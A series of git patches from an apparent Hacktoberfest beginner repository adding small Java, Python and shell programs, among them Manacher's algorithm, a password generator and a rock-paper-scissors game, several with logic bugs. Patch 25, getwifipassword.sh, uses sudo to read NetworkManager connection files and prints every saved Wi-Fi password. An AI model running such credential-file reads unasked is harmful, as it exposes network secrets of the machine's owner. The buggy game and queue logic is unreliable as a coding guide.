code is contributed by D. Vishnu Rahul Varma From 5844daa9231e89fed433bdcc4cda0758c5bbf671 Mon Sep 17 00:00:00 2001 From: Ashu <114346202+Ghostx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 07:56:31 +0530 Subject: [PATCH 17/27] =?UTF-8?q?Create=20Manacher=E2=80=99s=20Algorithm?= =?UTF-8?q?=20in=20Java?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- "Manacher\342\200\231s Algorithm in Java" | 115 ++++++++++++++++++++++ 1 file changed, 115 insertions(+) create mode 100644 "Manacher\342\200\231s Algorithm in Java" diff --git "a/Manacher\342\200\231s Algorithm in Java" "b/Manacher\342\200\231s Algorithm in Java" new file mode 100644 index 0000000..875ee5e --- /dev/null +++ "b/Manacher\342\200\231s Algorithm in Java" @@ -0,0 +1,115 @@ +// Java program to implement Manacher's Algorithm +import java.util.*; + +class GFG +{ + static void findLongestPalindromicString(String text) + { + int N = text.length(); + if (N == 0) + return; + N = 2 * N + 1; // Position count + int[] L = new int[N + 1]; // LPS Length Array + L[0] = 0; + L[1] = 1; + int C = 1; // centerPosition + int R = 2; // centerRightPosition + int i = 0; // currentRightPosition + int iMirror; // currentLeftPosition + int maxLPSLength = 0; + int maxLPSCenterPosition = 0; + int start = -1; + int end = -1; + int diff = -1; + + // Uncomment it to print LPS Length array + // printf("%d %d ", L[0], L[1]); + for (i = 2; i < N; i++) + { + + // get currentLeftPosition iMirror + // for currentRightPosition i + iMirror = 2 * C - i; + L[i] = 0; + diff = R - i; + + // If currentRightPosition i is within + // centerRightPosition R + if (diff > 0) + L[i] = Math.min(L[iMirror], diff); + + // Attempt to expand palindrome centered at + // currentRightPosition i. Here for odd positions, + // we compare characters and if match then + // increment LPS Length by ONE. If even position, + // we just increment LPS by ONE without + // any character comparison + while (((i + L[i]) + 1 < N && (i - L[i]) > 0) && + (((i + L[i] + 1) % 2 == 0) || + (text.charAt((i + L[i] + 1) / 2) == + text.charAt((i - L[i] - 1) / 2)))) + { + L[i]++; + } + + if (L[i] > maxLPSLength) // Track maxLPSLength + { + maxLPSLength = L[i]; + maxLPSCenterPosition = i; + } + + // If palindrome centered at currentRightPosition i + // expand beyond centerRightPosition R, + // adjust centerPosition C based on expanded palindrome. + if (i + L[i] > R) + { + C = i; + R = i + L[i]; + } + + // Uncomment it to print LPS Length array + // printf("%d ", L[i]); + } + + start = (maxLPSCenterPosition - maxLPSLength) / 2; + end = start + maxLPSLength - 1; + System.out.printf("LPS of string is %s : ", text); + for (i = start; i <= end; i++) + System.out.print(text.charAt(i)); + System.out.println(); + } + + // Driver Code + public static void main(String[] args) + { + String text = "babcbabcbaccba"; + findLongestPalindromicString(text); + + text = "abaaba"; + findLongestPalindromicString(text); + + text = "abababa"; + findLongestPalindromicString(text); + + text = "abcbabcbabcba"; + findLongestPalindromicString(text); + + text = "forgeeksskeegfor"; + findLongestPalindromicString(text); + + text = "caba"; + findLongestPalindromicString(text); + + text = "abacdfgdcaba"; + findLongestPalindromicString(text); + + text = "abacdfgdcabba"; + findLongestPalindromicString(text); + + text = "abacdedcaba"; + findLongestPalindromicString(text); + } +} + +// This code is contributed by +// sanjeev2552 From ffa7a23f9ede6c8bcaa13ddce8ffc964e3daec96 Mon Sep 17 00:00:00 2001 From: Shadow <114346940+Sh4d0wx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 08:12:50 +0530 Subject: [PATCH 18/27] Create Python | Random Password Generator using Tkinter --- ... | Random Password Generator using Tkinter | 104 ++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 Python | Random Password Generator using Tkinter diff --git a/Python | Random Password Generator using Tkinter b/Python | Random Password Generator using Tkinter new file mode 100644 index 0000000..f93037d --- /dev/null +++ b/Python | Random Password Generator using Tkinter @@ -0,0 +1,104 @@ +# Python program to generate random +# password using Tkinter module +import random +import pyperclip +from tkinter import * +from tkinter.ttk import * + +# Function for calculation of password + + +def low(): + entry.delete(0, END) + + # Get the length of password + length = var1.get() + + lower = "abcdefghijklmnopqrstuvwxyz" + upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + digits = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 !@#$%^&*()" + password = "" + + # if strength selected is low + if var.get() == 1: + for i in range(0, length): + password = password + random.choice(lower) + return password + + # if strength selected is medium + elif var.get() == 0: + for i in range(0, length): + password = password + random.choice(upper) + return password + + # if strength selected is strong + elif var.get() == 3: + for i in range(0, length): + password = password + random.choice(digits) + return password + else: + print("Please choose an option") + + +# Function for generation of password +def generate(): + password1 = low() + entry.insert(10, password1) + + +# Function for copying password to clipboard +def copy1(): + random_password = entry.get() + pyperclip.copy(random_password) + + +# Main Function + +# create GUI window +root = Tk() +var = IntVar() +var1 = IntVar() + +# Title of your GUI window +root.title("Random Password Generator") + +# create label and entry to show +# password generated +Random_password = Label(root, text="Password") +Random_password.grid(row=0) +entry = Entry(root) +entry.grid(row=0, column=1) + +# create label for length of password +c_label = Label(root, text="Length") +c_label.grid(row=1) + +# create Buttons Copy which will copy +# password to clipboard and Generate +# which will generate the password +copy_button = Button(root, text="Copy", command=copy1) +copy_button.grid(row=0, column=2) +generate_button = Button(root, text="Generate", command=generate) +generate_button.grid(row=0, column=3) + +# Radio Buttons for deciding the +# strength of password +# Default strength is Medium +radio_low = Radiobutton(root, text="Low", variable=var, value=1) +radio_low.grid(row=1, column=2, sticky='E') +radio_middle = Radiobutton(root, text="Medium", variable=var, value=0) +radio_middle.grid(row=1, column=3, sticky='E') +radio_strong = Radiobutton(root, text="Strong", variable=var, value=3) +radio_strong.grid(row=1, column=4, sticky='E') +combo = Combobox(root, textvariable=var1) + +# Combo Box for length of your password +combo['values'] = (8, 9, 10, 11, 12, 13, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24, 25, + 26, 27, 28, 29, 30, 31, 32, "Length") +combo.current(0) +combo.bind('<>') +combo.grid(column=1, row=1) + +# start the GUI +root.mainloop() From 51419fa0e53cc4772cf1d7ab5b7c6aec1936eb6a Mon Sep 17 00:00:00 2001 From: Shadow <114346940+Sh4d0wx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 08:14:48 +0530 Subject: [PATCH 19/27] Create Python to Pseudocode converter --- Python to Pseudocode converter | 60 ++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 Python to Pseudocode converter diff --git a/Python to Pseudocode converter b/Python to Pseudocode converter new file mode 100644 index 0000000..bc0bb7a --- /dev/null +++ b/Python to Pseudocode converter @@ -0,0 +1,60 @@ +''' +INSTRUCTIONS + +1. Create a file with the following code +2. Put the file you want to convert into the same folder as it, and rename it to "file.py" +3. Add a "#F" comment to any lines in the code which have a function call that doesn't assign anything (so no =), +as the program cannot handle these convincingly +4. Run the converter file +''' + +import re + +python_file = 'file.py' +work_file = None + +basic_conversion_rules = {"for": "FOR", "=": "TO", "if": "IF", "==": "EQUALS", "while": "WHILE", "until": "UNTIL", "import": "IMPORT", "class": "DEFINE CLASS", "def": "DEFINE FUNCTION", "else:": "ELSE:", "elif": "ELSEIF", "except:": "EXCEPT:", "try:": "TRY:", "pass": "PASS", "in": "IN"} +prefix_conversion_rules = {"=": "SET ", "#F": "CALL "} +advanced_conversion_rules = {"print": "OUTPUT", "return": "RETURN", "input": "INPUT"} + +def f2list(to_list): + return to_list.readlines() + +def l2pseudo(to_pseudo): + for line in to_pseudo: + line_index = to_pseudo.index(line) + line = str(line) + line = re.split(r'(\s+)', line) + for key, value in prefix_conversion_rules.items(): + if key in line: + if not str(line[0]) == '': + line[0] = value + line[0] + else: + line[2] = value + line[2] + for key, value in basic_conversion_rules.items(): + for word in line: + if key == str(word): + line[line.index(word)] = value + for key, value in advanced_conversion_rules.items(): + for word in line: + line[line.index(word)] = word.replace(key, value) + for key, value in prefix_conversion_rules.items(): + for word in line: + if word == key: + del line[line.index(word)] + to_pseudo[line_index]= "".join(line) + return(to_pseudo) + +def p2file(to_file): + file = open(python_file + '_pseudo.txt', 'w', encoding="utf8") + for line in to_file: + print(line, file=file) + +def main(): + main_file = open(python_file, 'r+') + work_file = f2list(main_file) + work_file = l2pseudo(work_file) + p2file(work_file) + + +main() From 91af10c7483dd809d2fcd3c3f4555cd0f695dcbd Mon Sep 17 00:00:00 2001 From: Ashutosh <41056892+Ghost-Ashu@users.noreply.github.com> Date: Sat, 1 Oct 2022 08:21:40 +0530 Subject: [PATCH 20/27] Create LICENSE --- LICENSE | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 LICENSE diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..8415bc8 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 Ashutosh + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. From df0fac850463618de05356d08b187c6326bd0a57 Mon Sep 17 00:00:00 2001 From: Ashutosh <41056892+Ghost-Ashu@users.noreply.github.com> Date: Sat, 1 Oct 2022 08:27:54 +0530 Subject: [PATCH 21/27] Update README.md --- README.md | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/README.md b/README.md index 5c4a65e..ee513a9 100644 --- a/README.md +++ b/README.md @@ -9,6 +9,31 @@ Hey! Everyone welcome to Our Open Source Code Contribution Repository. Here you ## 🚀 About Us +## What is Hacktoberfest? + +It is open to everyone in our global community. Whether you’re a developer, student learning to code, event host, or company of any size, you can help drive growth of open source and make positive contributions to an ever-growing community. All backgrounds and skill levels are encouraged to complete the challenge. + +- Hacktoberfest is a celebration open to everyone in our global community. +- Pull requests can be made in any GitHub-hosted repositories/projects with [hacktoberfest](https://github.com/search?q=hacktoberfest) topic added. +- You can sign up anytime between October 1 and October 31. +*** +# 👕 Why Should I Contribute? +Hacktoberfest has a simple and plain moto +> Support open source with meaningful PRs and earn a limited edition T-shirt! + +So, yes! You can win a T-Shirt and few awesome stickers to attach on your laptop. On plus side, you will get into beautiful world of open source.
+Working with open source project is a rewarding experience that allows you to practice your talent, collaborate with and learn from others, and give back to the developer community. +### NOTE: +* making four (4) meaningful contributions to open source projects will qualify you for prizes +* Scripts to be added in there respective folder with proper doumentaion. +* Read GUIDELINES.md before making a PR. + +*** + +## IMPORTANT INSTRUCTIONS +You must register and make four valid pull requests (PRs) between October 1-31 (in any time zone). PRs made before or after that won't be counted!! + +Visit the hactoberfest site for more details :- https://hacktoberfest.digitalocean.com From 41f3e0fcba5c9e327133ce96317e509bd492ae8e Mon Sep 17 00:00:00 2001 From: Shadow <114346940+Sh4d0wx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 08:31:48 +0530 Subject: [PATCH 22/27] Create Open Applications using Python --- Open Applications using Python | 131 +++++++++++++++++++++++++++++++++ 1 file changed, 131 insertions(+) create mode 100644 Open Applications using Python diff --git a/Open Applications using Python b/Open Applications using Python new file mode 100644 index 0000000..e0da402 --- /dev/null +++ b/Open Applications using Python @@ -0,0 +1,131 @@ +# import required module +import pyttsx3 +import os + +# driver code + +# create object and assign voice +engine = pyttsx3.init() +voices = engine.getProperty('voices') + +# changing index changes voices but only +# 0 and 1 are working here +engine.setProperty('voice', voices[1].id) +engine.runAndWait() +print("") +print("") + +# introduction +print(" =============================================== Hello World!! ================================================") +engine.say('Hello World!!') + +print("") +print(" My name is Divy Shah,I make this tool With this help of tool you can open below things.......") + +print("\n\t 1.MICROSOFT WORD \t 2.MICROSOFT POWERPOINT \n\t 3.MICROSOFT EXCEL \t 4.GOOGLE CHROME \n\t 5.VLC PLAYER \t 6.ADOBE ILLUSTRATOR \n\t 7.ADOBE PHOTOSHOP \t 8.MICROSOFT EDGE \n\t 9.NOTEPAD \t 10.TELEGRAM \n\n\t\t 0. FOR EXIT") + +print("\n (YOU CAN USE NUMBER OR YOU CAN DO CHAT LIKE 'OPEN NOTEBOOK' etc....)") + +print("\n ============================================ Welcome To My Tools ============================================") +pyttsx3.speak("Welcome to my tools") +print("") +print("") + +pyttsx3.speak("chat with me with your requirements") + +while True: + # take input + print(" CHAT WITH ME WITH YOUR REQUIREMENTS : ", end='') + p = input() + p = p.upper() + print(p) + + if ("DONT" in p) or ("DON'T" in p) or ("NOT" in p): + pyttsx3.speak("Type Again") + print(".") + print(".") + continue + + # assignments for different applications in the menu + elif ("GOOGLE" in p) or ("SEARCH" in p) or ("WEB BROWSER" in p) or ("CHROME" in p) or ("BROWSER" in p) or ("4" in p): + pyttsx3.speak("Opening") + pyttsx3.speak("GOOGLE CHROME") + print(".") + print(".") + os.system("chrome") + + elif ("IE" in p) or ("MSEDGE" in p) or ("EDGE" in p) or ("8" in p): + pyttsx3.speak("Opening") + pyttsx3.speak("MICROSOFT EDGE") + print(".") + print(".") + os.system("msedge") + + elif ("NOTE" in p) or ("NOTES" in p) or ("NOTEPAD" in p) or ("EDITOR" in p) or ("9" in p): + pyttsx3.speak("Opening") + pyttsx3.speak("NOTEPAD") + print(".") + print(".") + os.system("Notepad") + + elif ("VLCPLAYER" in p) or ("PLAYER" in p) or ("VIDEO PLAYER" in p) or ("5" in p): + pyttsx3.speak("Opening") + pyttsx3.speak("VLC PLAYER") + print(".") + print(".") + os.system("VLC") + + elif ("ILLUSTRATOR" in p) or ("AI" in p) or ("6" in p): + pyttsx3.speak("Opening") + pyttsx3.speak("ADOBE ILLUSTRATOR") + print(".") + print(".") + os.system("illustrator") + + elif ("PHOTOSHOP" in p) or ("PS" in p) or ("PHOTOSHOP CC" in p) or ("7" in p): + pyttsx3.speak("Opening") + pyttsx3.speak("ADOBE PHOTOSHOP") + print(".") + print(".") + os.system("photoshop") + + elif ("TELEGRAM" in p) or ("TG" in p) or ("10" in p): + pyttsx3.speak("Opening") + pyttsx3.speak("TELEGRAM") + print(".") + print(".") + os.system("telegram") + + elif ("EXCEL" in p) or ("MSEXCEL" in p) or ("SHEET" in p) or ("WINEXCEL" in p) or ("3" in p): + pyttsx3.speak("Opening") + pyttsx3.speak("MICROSOFT EXCEL") + print(".") + print(".") + os.system("excel") + + elif ("SLIDE" in p) or ("MSPOWERPOINT" in p) or ("PPT" in p) or ("POWERPNT" in p) or ("2" in p): + pyttsx3.speak("Opening") + pyttsx3.speak("MICROSOFT POWERPOINT") + print(".") + print(".") + os.system("powerpnt") + + elif ("WORD" in p) or ("MSWORD" in p) or ("1" in p): + pyttsx3.speak("Opening") + pyttsx3.speak("MICROSOFT WORD") + print(".") + print(".") + os.system("winword") + + # close the program + elif ("EXIT" in p) or ("QUIT" in p) or ("CLOSE" in p) or ("0" in p): + pyttsx3.speak("Exiting") + break + + # for invalid input + else: + pyttsx3.speak(p) + print("Is Invalid,Please Try Again") + pyttsx3.speak("is Invalid,Please try again") + print(".") + print(".") From 52a2f9a1e6b72053c66baf2e61f8c3fdeb36c639 Mon Sep 17 00:00:00 2001 From: Shadow <114346940+Sh4d0wx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 08:35:00 +0530 Subject: [PATCH 23/27] Create Build a Virtual Assistant Using Python --- Build a Virtual Assistant Using Python | 60 ++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 Build a Virtual Assistant Using Python diff --git a/Build a Virtual Assistant Using Python b/Build a Virtual Assistant Using Python new file mode 100644 index 0000000..12d9ada --- /dev/null +++ b/Build a Virtual Assistant Using Python @@ -0,0 +1,60 @@ +def Take_query(): + + # calling the Hello function for + # making it more interactive + Hello() + + # This loop is infinite as it will take + # our queries continuously until and unless + # we do not say bye to exit or terminate + # the program + while(True): + + # taking the query and making it into + # lower case so that most of the times + # query matches and we get the perfect + # output + query = takeCommand().lower() + if "open geeksforgeeks" in query: + speak("Opening GeeksforGeeks ") + + # in the open method we just to give the link + # of the website and it automatically open + # it in your default browser + webbrowser.open("www.geeksforgeeks.com") + continue + + elif "open google" in query: + speak("Opening Google ") + webbrowser.open("www.google.com") + continue + + elif "which day it is" in query: + tellDay() + continue + + elif "tell me the time" in query: + tellTime() + continue + + # this will exit and terminate the program + elif "bye" in query: + speak("Bye. Check Out GFG for more exciting things") + exit() + + elif "from wikipedia" in query: + + # if any one wants to have a information + # from wikipedia + speak("Checking the wikipedia ") + query = query.replace("wikipedia", "") + + # it will give the summary of 4 lines from + # wikipedia we can increase and decrease + # it also. + result = wikipedia.summary(query, sentences=4) + speak("According to wikipedia") + speak(result) + + elif "tell me your name" in query: + speak("I am Jarvis. Your desktop Assistant") From 538b5929b9dd918be8f8458b5551f83c9c5334d6 Mon Sep 17 00:00:00 2001 From: Shadow <114346940+Sh4d0wx0@users.noreply.github.com> Date: Sat, 1 Oct 2022 08:42:36 +0530 Subject: [PATCH 24/27] Create Tap-the-Geek | Simple HTML CSS and JavaScript Game --- ...Geek | Simple HTML CSS and JavaScript Game | 243 ++++++++++++++++++ 1 file changed, 243 insertions(+) create mode 100644 Tap-the-Geek | Simple HTML CSS and JavaScript Game diff --git a/Tap-the-Geek | Simple HTML CSS and JavaScript Game b/Tap-the-Geek | Simple HTML CSS and JavaScript Game new file mode 100644 index 0000000..48b3305 --- /dev/null +++ b/Tap-the-Geek | Simple HTML CSS and JavaScript Game @@ -0,0 +1,243 @@ + + + + + + + + +
+
+
+
+

Tap The Geek

+

Click on a difficulty to start the game

+
+ + + +
+
+

Score

+

0

+
+ +
+ + + + + From 5b4d0bce874b8870cdae41ccbb0a4d8bf7a65b24 Mon Sep 17 00:00:00 2001 From: 50nu Date: Sat, 1 Oct 2022 09:11:52 +0530 Subject: [PATCH 25/27] Add files via upload get password of connected wifi to your pc/laptop --- getwifipassword.sh | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 getwifipassword.sh diff --git a/getwifipassword.sh b/getwifipassword.sh new file mode 100644 index 0000000..87e2413 --- /dev/null +++ b/getwifipassword.sh @@ -0,0 +1,19 @@ +#!bin/bash +clear +SAVEIFS=$IFS +IFS=$(echo -en "\n\b") +folder=/etc/NetworkManager/system-connections +echo "--------------------------------------------------------------" +echo " Here is your all wifi with password" +echo "--------------------------------------------------------------" +for file in $(ls -1 $folder); do + echo "---------------------------------------" + name=`sudo cat "$folder/$file" | grep ssid=` + echo "Wifi Name: ${name:5}" + pass=`sudo cat "$folder/$file" | grep psk=` + echo "Password: ${pass:4}" +done +echo "--------------------------------------------------------------" +echo " By https://github.com/sonumahajan " +echo "--------------------------------------------------------------" +IFS=$SAVEIFS From 3eddb8253105605dcfdb4df2fca4a9c6232bdda6 Mon Sep 17 00:00:00 2001 From: 50nu Date: Sat, 1 Oct 2022 17:38:56 +0530 Subject: [PATCH 26/27] Circle Queue program --- CircleQueue.java | 56 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 CircleQueue.java diff --git a/CircleQueue.java b/CircleQueue.java new file mode 100644 index 0000000..abefcdf --- /dev/null +++ b/CircleQueue.java @@ -0,0 +1,56 @@ +public class CircleQueue { + static int arr[] = new int[5]; + static int front = -1, rear = 0; + static void enqueue(int val) { + if (front == -1 && rear == 0) { + arr[rear] = val; + front = 0; + rear = 0; + } else if (rear == arr.length - 1 && front == 0 + || front != 0 && rear == (front - 1) % (arr.length - 1)) { + System.out.println("overflow"); + } else if (front != 0 && rear == arr.length - 1) { + rear = (rear) % (arr.length - 1); + arr[rear] = val; + } else { + rear = rear + 1; + arr[rear] = val; + } + } + static void dequeue() { + if (front == -1 && rear == 0) { + System.out.println("lodu lalit"); + } else { + front++; + } + } + static void print() { + if (front <= rear) { + for (int i = front; i <= rear; i++) { + System.out.println(arr[i] + " "); + } + } else { + for (int i = front; i <= arr.length - 1; i++) { + System.out.println(arr[i] + " "); + } + for (int i = 0; i <= rear; i++) { + System.out.println(arr[i] + " "); + } + } + } + public static void main(String[] args) { + // dequeue(); + enqueue(45); + enqueue(67); + enqueue(78); + enqueue(89); + enqueue(789); + print(); + System.out.println(""); + dequeue(); + print(); + enqueue(1000); + System.out.println(""); + print(); + } +} From ad5d0d16e14c7a45a457a93cc32e1e826460398a Mon Sep 17 00:00:00 2001 From: 50nu Date: Sun, 2 Oct 2022 20:38:43 +0530 Subject: [PATCH 27/27] Stone paper sessior game using python --- stone_paper_sessior.py | 74 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 stone_paper_sessior.py diff --git a/stone_paper_sessior.py b/stone_paper_sessior.py new file mode 100644 index 0000000..67a1e03 --- /dev/null +++ b/stone_paper_sessior.py @@ -0,0 +1,74 @@ +import random + +game=1 +total=10 +ty=0 +win=0 +loss=0 +print("======================================================") +print(" ") +print("= Welcome to Sonu,s [ Rock Paper Scissor] Game. =\n") +print(f"Toatal match is {total}") +print(" Ready to play with computer.\n") +while game<=total: + # R for rock , p for papper and X for sessior. + comp =["Rock","Paper","Scissor"] + comp_ans= random.choice(comp) + print("Enter [ R for Rock ][ P for Papper ][ X for Scissor]") + ans = input("==> ") + ans = ans.upper() + if(ans=='R'): + print("Your choice is: Rock") + if (ans=='R' and comp_ans=='Scissor'): + print(f"Computer's choice is: {comp_ans}\n") + print("====== YOU WIN ======") + win+=1 + elif(ans=='S' and comp_ans=='Stone'): + print(f"Computer's choice is: {comp_ans}\n") + print("====== TY ======") + ty+=1 + elif(ans=='S' and comp_ans=='Paper'): + print(f"Computer's choice is: {comp_ans}\n") + print("====== You LOSS ======") + loss+=1 + + elif(ans=='P'): + print("Your choice is: Paper") + if (ans=='P' and comp_ans=='Scissor'): + print(f"Computer's choice is: {comp_ans}\n") + print("====== YOU LOSS ======") + loss+=1 + elif(ans=='P' and comp_ans=='Stone'): + print(f"Computer's choice is: {comp_ans}\n") + print("====== YOU WIN ======") + win+=1 + elif(ans=='P' and comp_ans=='Paper'): + print(f"Computer's choice is: {comp_ans}\n") + print("====== TY ======") + ty+=1 + + elif(ans=='X'): + print("Your choice is: Scissor") + if (ans=='X' and comp_ans=='Scissor'): + print(f"Computer's choice is: {comp_ans}\n") + print("====== TY ======") + ty+=1 + elif(ans=='X' and comp_ans=='Stone'): + print(f"Computer's choice is: {comp_ans}\n") + print("====== YOU LOSS ======") + loss+=1 + elif(ans=='X' and comp_ans=='Paper'): + print(f"Computer's choice is: {comp_ans}\n") + print("====== YOU WIN ======") + win+=1 + else: + print("Invalid Imput!") + print(f"Game counter {game}") + print("-------------------------------------------") + game+=1 + +print(f""" + Total match: {total} + You Win: {win} + You loss: {loss} + Ty match: {ty}""")